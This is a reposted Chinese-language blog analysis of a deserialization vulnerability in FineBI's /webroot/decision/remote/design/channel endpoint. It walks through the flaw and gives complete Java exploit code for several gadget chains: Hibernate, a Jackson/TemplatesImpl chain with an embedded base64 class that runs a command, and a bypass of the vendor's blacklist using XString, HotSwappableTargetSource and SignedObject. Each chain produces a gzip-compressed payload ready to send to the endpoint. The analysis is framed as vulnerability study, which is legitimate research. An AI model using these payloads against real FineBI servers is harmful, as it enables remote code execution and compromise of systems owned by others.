这段常态化时期，每天都整理和学习历年能打穿小朋友的漏洞，本文转载自
这篇文章是关于FineBI软件中的反序列化漏洞的分析。以下是对文章内容的总结：
漏洞存在于FineBI的/webroot/decision/remote/design/channel
接口。
该接口接收POST方法传输的数据，首先通过GZIPInputStream
进行解压缩，然后使用CustomObjectInputStream
包装并调用readObject()
方法实现反序列化。
攻击者需要构造序列化数据，并通过gzip压缩后发送到漏洞接口。
构造序列化数据可以利用Hibernate链或Commons Collections（cb链）等技术。
官方修复漏洞的方式是增加反序列化黑名单，禁止了一些类的反序列化，包括cb、hibernate等。
但修复后，jackson相关的类并未被禁止，攻击者可以利用jackson构造反序列化链。
文章提供了利用jackson构造反序列化链的Java代码示例。
利用了BadAttributeValueExpException
和TemplatesImpl
等类的特性。
由于黑名单中包含了BadAttributeValueExpException
和TemplatesImpl
，文章进一步探讨了如何使用其他类来绕过这些限制。
提出了使用XString
、HotSwappableTargetSource
和SignedObject
等类进行绕过的方法。
/webroot/decision/remote/design/channel 处存在发序列化漏洞
这个接口接收post传输的数据，会先经过GZIPInputStream解压缩GZIP格式数据
然后对经过解压缩后的数据利用CustomObjectInputStream进行包装，再调用readObject()方法实现反序列化
CustomObjectInputStream继承ObjectInputStream，其构造方法调用父类的构造方法，和正常反序列化差不多
所以我们构造的序列化数据，要先经过gzip压缩，再向漏洞接口发送
如何构造序列化数据呢，可以利用cb链或者hibernate链，需要注意的是这里的包名不是正常maven下载的依赖的包名，所以有些payload构造也会有所差别，构造hibernate链
import com.fr.third.org.hibernate.engine.spi.TypedValue;
import com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;
import com.fr.third.org.hibernate.type.Type;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
public class Hibernate {
public static byte[] getPayload(byte[] bytes) throws Exception {
Class<?> componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");
TemplatesImpl tmpl = utils.getTeml(bytes);
Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
Object getter;
try {
Class<?> getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
}
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
AbstractComponentTuplizer tuplizer = (AbstractComponentTuplizer) utils.createInstanceUnsafely(pojoComponentTuplizerClass);
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
field.set(tuplizer, getters);
Object type = utils.createInstanceUnsafely(componentTypeClass);
utils.setFieldValue(type,"componentTuplizer",tuplizer);
utils.setFieldValue(type,"propertySpan",1);
utils.setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
TypedValue typedValue = new TypedValue((Type) type, null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "123");
utils.setFieldValue(typedValue,"value", tmpl);
byte[] ser = utils.serialize(hashMap);
byte[] payload = utils.GzipCompress(ser);
return payload;
}
}
之后官方对其进行了修复，修复方式是增加了反序列化黑名单，禁止了一些类的反序列化，包括了cb、hibernate以及一些反序列化中常用的类
但是这里面没有禁止jackson相关的类，可以利用jackson来构造反序列化链
import util.utils;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.util.Base64;
public class jackson {
public static void main(String[] args) throws Exception {
String calc = "yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==";
TemplatesImpl t = utils.getTeml(Base64.getDecoder().decode(calc));
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(t);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
utils.setFieldValue(val,"val",node);
byte[] ser = utils.serialize(val);
String b = Base64.getEncoder().encodeToString(ser);
System.out.println(b);
utils.unserialize(ser);
}
}
这是最普通的jackson反序列化利用链的构造，在这个代码中使用到的BadAttributeValueExpException和TemplatesImpl是在黑名单里的，我们需要找到能够替换这2个类的类
BadAttributeValueExpException反序列化时会触发toSting方法
这里是用来触发node的toSting方法，我们可以用XString#equals替换BadAttributeValueExpException来触发toSting方法
spring环境下可以利用HotSwappableTargetSource#equals来触发XString的equals方法
用到TemplatesImpl是因为TemplatesImpl对象的getOutputProperties方法能够加载任意类字节码，从而造成代码执行，因为jackson反序列化能够调用类的无参getter方法，我们需要找到一个不在黑名单中的类，并且其无参getter方法存在漏洞
SignedObject刚好是一个满足的类，其getObject方法中实现了反序列化，我们就可以利用二次反序列化来进行攻击
利用XString、HotSwappableTargetSource、SignedObject进行绕过
import com.fr.third.fasterxml.jackson.databind.node.POJONode;
import com.fr.third.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.SignedObject;
import java.util.HashMap;
public class JacksonSignedObject {
public static byte[] getPayload(byte[] bytes) throws Exception {
TemplatesImpl t = utils.getTeml(bytes);
try {
CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}
catch (Exception e){
}
POJONode node = new POJONode(utils.makeTemplatesImplAopProxy(t));
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
utils.setFieldValue(val,"val",node);
SignedObject s = utils.makeSignedObject(val);
POJONode node2 = new POJONode(s);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(node2);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object, Object> hashmap = new HashMap<>();
utils.setFieldValue(hashmap, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
utils.setFieldValue(hashmap, "table", tbl);
byte[] ser = utils.serialize(hashmap);
byte[] payload = utils.GzipCompress(ser);
return payload;
}
}
当然，之后这些类也无法使用了
https://xz.aliyun.com/t/12509
https://xz.aliyun.com/t/12846#toc-1
https://github.com/yecp181/Frchannel